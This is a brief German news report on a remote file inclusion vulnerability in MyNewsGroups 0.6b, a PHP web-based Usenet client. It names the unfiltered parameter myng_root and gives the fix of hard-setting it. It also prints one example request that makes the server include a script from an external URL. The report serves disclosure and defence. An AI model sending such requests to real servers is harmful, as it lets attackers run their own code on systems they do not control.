Usenet-Anwendung MyNewsGroups gefährdet Serversicherheit
Ăśber die fehlende Filterung einer Variablen lassen sich auf dem Server per Remote File Inclusion eigene Skripte ausfĂĽhren.
Usenet-Clients auf Basis eines Webinterfaces sind eine praktische Sache und ziemlich flexibel. Server, auf denen der in PHP geschriebenen Open-Source-Client MyNewsGroups läuft, könnten in Kürze aber unerwünschten Besuch bekommen. Philipp Niedziela hat eine Lücke entdeckt, mit der sich auf dem Server per Remote File Inclusion eigene Skripte ausführen lassen. Ursache des Problems ist die fehlende Filterung der Variable myng_root, die sich mittels
http://server/lib/tree/layersmenu.inc.php?myng_root=externe_url
Pfade auf beliebige Skripte unterschieben lässt. Der Fehler findet sich in Version 0.6b und vorhergehenden. Abhilfe schafft laut Niedziela, die Variable myng_root in den MyNewsGroups-Skripten fest zu belegen. Weitere Details sind seinem Bericht zu entnehmen.
Siehe dazu auch: (dab)
- MyNewsGroups :) v. 0.6b Remote File Inclusion, Fehlerbericht von Philipp Niedziela
